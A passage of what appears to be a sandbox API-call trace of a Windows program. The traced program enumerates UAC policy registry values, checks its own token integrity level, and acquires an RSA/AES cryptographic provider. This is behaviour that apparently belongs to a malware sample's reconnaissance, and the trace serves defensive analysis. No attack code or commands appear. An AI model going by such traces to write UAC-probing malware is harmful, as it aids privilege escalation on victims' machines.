lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.085] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115b950 [0169.085] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c318 [0169.085] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.085] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115b9d0 [0169.085] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c2d0 [0169.085] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.086] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115b9e0 [0169.086] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.086] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.086] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c240 [0169.086] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115b998) returned 1 [0169.086] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115b998 [0169.086] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c1f8 [0169.086] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.086] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115b9a8 [0169.086] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c1b0 [0169.086] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.086] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d1e8 [0169.086] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c168 [0169.086] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.086] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d1f8 [0169.086] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.086] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0169.086] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.086] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.086] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.086] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c5a0) returned 1 [0169.086] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115b878) returned 1 [0169.086] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c438) returned 1 [0169.086] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115b888) returned 1 [0169.086] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c558) returned 1 [0169.086] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115b898) returned 1 [0169.086] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c510) returned 1 [0169.086] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115b930) returned 1 [0169.086] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c4c8) returned 1 [0169.086] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115b860) returned 1 [0169.086] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c480) returned 1 [0169.086] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115b968) returned 1 [0169.086] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c3f0) returned 1 [0169.086] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115b978) returned 1 [0169.086] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c3a8) returned 1 [0169.087] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115b988) returned 1 [0169.087] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c360) returned 1 [0169.087] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115b940) returned 1 [0169.087] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c318) returned 1 [0169.087] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115b950) returned 1 [0169.087] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c2d0) returned 1 [0169.087] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115b9d0) returned 1 [0169.087] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.087] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115b9e0) returned 1 [0169.087] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c1f8) returned 1 [0169.087] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115b998) returned 1 [0169.087] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c1b0) returned 1 [0169.087] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115b9a8) returned 1 [0169.087] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c168) returned 1 [0169.087] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d1e8) returned 1 [0169.087] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.087] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d1f8) returned 1 [0169.087] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c240) returned 1 [0169.087] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c240 [0169.087] RegQueryValueExA (in: hKey=0x24, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x35f450, lpData=0x0, lpcbData=0x35f458*=0x0 | out: lpType=0x35f450*=0x4, lpData=0x0, lpcbData=0x35f458*=0x4) returned 0x0 [0169.087] RegQueryValueExA (in: hKey=0x24, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x35f450, lpData=0x115c240, lpcbData=0x35f458*=0x4 | out: lpType=0x35f450*=0x4, lpData=0x115c240*=0x5, lpcbData=0x35f458*=0x4) returned 0x0 [0169.087] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c240) returned 1 [0169.087] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.087] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.087] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x10) returned 0x115d5e8 [0169.087] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d1f8 [0169.087] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.087] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.087] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d1e8 [0169.087] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c240 [0169.087] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.087] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d208 [0169.087] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.087] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.088] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d218 [0169.088] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c168 [0169.088] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.088] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x20) returned 0x115b860 [0169.088] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d5e8) returned 1 [0169.088] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d228 [0169.088] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c1b0 [0169.088] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.088] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d238 [0169.088] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c1f8 [0169.088] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.088] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d248 [0169.088] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.088] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.088] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d258 [0169.088] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c2d0 [0169.088] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.088] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x30) returned 0x115b930 [0169.088] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115b860) returned 1 [0169.088] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d268 [0169.088] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c318 [0169.088] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.088] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d278 [0169.088] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c360 [0169.088] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.088] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d288 [0169.088] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c3a8 [0169.088] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.088] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d298 [0169.088] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c3f0 [0169.088] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.089] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c480 [0169.089] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115b930) returned 1 [0169.089] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d2a8 [0169.089] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c4c8 [0169.089] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.089] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d2b8 [0169.089] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c510 [0169.089] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.089] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d2c8 [0169.089] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c558 [0169.089] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.089] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d2d8 [0169.089] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c438 [0169.089] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x35f344, lpcchValueName=0x35f340, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x35f340, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0169.089] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c5a0 [0169.089] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c5a0) returned 1 [0169.089] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c5a0 [0169.089] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c5a0) returned 1 [0169.089] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c5a0 [0169.089] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c5a0) returned 1 [0169.089] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c5a0 [0169.089] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c5a0) returned 1 [0169.089] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c5a0 [0169.089] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c5a0) returned 1 [0169.089] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c5a0 [0169.089] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c5a0) returned 1 [0169.089] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c5a0 [0169.089] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c5a0) returned 1 [0169.089] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c5a0 [0169.089] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c5a0) returned 1 [0169.089] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c5a0 [0169.089] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.089] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d1f8) returned 1 [0169.089] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c240) returned 1 [0169.090] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d1e8) returned 1 [0169.090] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.090] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d208) returned 1 [0169.090] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c168) returned 1 [0169.090] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d218) returned 1 [0169.090] RegQueryValueExA (in: hKey=0x24, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x35f450, lpData=0x0, lpcbData=0x35f458*=0x0 | out: lpType=0x35f450*=0x4, lpData=0x0, lpcbData=0x35f458*=0x4) returned 0x0 [0169.090] RegQueryValueExA (in: hKey=0x24, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x35f450, lpData=0x115c480, lpcbData=0x35f458*=0x4 | out: lpType=0x35f450*=0x4, lpData=0x115c480*=0x1, lpcbData=0x35f458*=0x4) returned 0x0 [0169.090] RegCloseKey (hKey=0x24) returned 0x0 [0169.090] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x35f4c8 | out: TokenHandle=0x35f4c8*=0x24) returned 1 [0169.090] GetTokenInformation (in: TokenHandle=0x24, TokenInformationClass=0x14, TokenInformation=0x35f4c4, TokenInformationLength=0x4, ReturnLength=0x35f4c0 | out: TokenInformation=0x35f4c4, ReturnLength=0x35f4c0) returned 1 [0169.090] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x35f4b4 | out: TokenHandle=0x35f4b4*=0xa0) returned 1 [0169.090] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x35f4b0 | out: TokenInformation=0x0, ReturnLength=0x35f4b0) returned 0 [0169.090] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c5a0 [0169.090] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x19, TokenInformation=0x115c5a0, TokenInformationLength=0x14, ReturnLength=0x35f4b0 | out: TokenInformation=0x115c5a0, ReturnLength=0x35f4b0) returned 1 [0169.090] GetSidSubAuthorityCount (pSid=0x115c5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x115c5a9 [0169.090] GetSidSubAuthority (pSid=0x115c5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x115c5b0 [0169.090] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c5a0) returned 1 [0169.090] NtClose (Handle=0xa0) returned 0x0 [0169.090] GetSystemInfo (in: lpSystemInfo=0x35f5fc | out: lpSystemInfo=0x35f5fc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x1, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0169.090] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x6c) returned 0x115b860 [0169.090] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c5a0 [0169.091] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0xa0 [0169.091] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c480 [0169.091] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c438 [0169.091] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c558 [0169.091] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c510 [0169.091] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x5000) returned 0xd20048 [0169.091] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c4c8 [0169.091] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c4c8) returned 1 [0169.091] CryptAcquireContextW (in: phProv=0x35f610, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x35f610*=0x3de420) returned 1 [0169.156] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0xd20048) returned 1 [0169.156] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115b8d8 [0169.156] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115b960 [0169.156] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c4c8 [0169.156] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115b9e8 [0169.156] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115ba70 [0169.156] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c3f0 [0169.156] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115baf8 [0169.156] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c3a8 [0169.156] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x5000) returned 0xd20048 [0169.156] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c360 [0169.156] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c360) returned 1 [0169.156] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0169.231] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0xd20048) returned 1 [0169.231] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x3d82e8, lpbSaclPresent=0x35f5c4, pSacl=0x35f618, lpbSaclDefaulted=0x35f5c4 | out: lpbSaclPresent=0x35f5c4, pSacl=0x35f618, lpbSaclDefaulted=0x35f5c4) returned 1 [0169.232] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c360 [0169.232] CreateEventA (lpEventAttributes=0x35f60c, bManualReset=1, bInitialState=0, lpName="") returned 0xe8 [0169.232] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c360) returned 1 [0169.232] GetLastError () returned 0x0 [0169.232] LocalFree (hMem=0x3d82e8) returned 0x0 [0169.232] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c360 [0169.232] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x5000) returned 0xd20048 [0169.232] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c318 [0169.232] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c318) returned 1 [0169.232] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0169.233] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0xd20048) returned 1 [0169.233] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x3d82e8, lpbSaclPresent=0x35f5c4, pSacl=0x35f618, lpbSaclDefaulted=0x35f5c4 | out: lpbSaclPresent=0x35f5c4, pSacl=0x35f618, lpbSaclDefaulted=0x35f5c4) returned 1 [0169.233] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c318 [0169.233] CreateEventA (lpEventAttributes=0x35f60c, bManualReset=1, bInitialState=0, lpName="") returned 0xec [0169.233] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c318) returned 1 [0169.233] GetLastError () returned 0x0 [0169.233] LocalFree (hMem=0x3d82e8) returned 0x0 [0169.233] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c318 [0169.233] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x5000) returned 0xd20048 [0169.233] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, 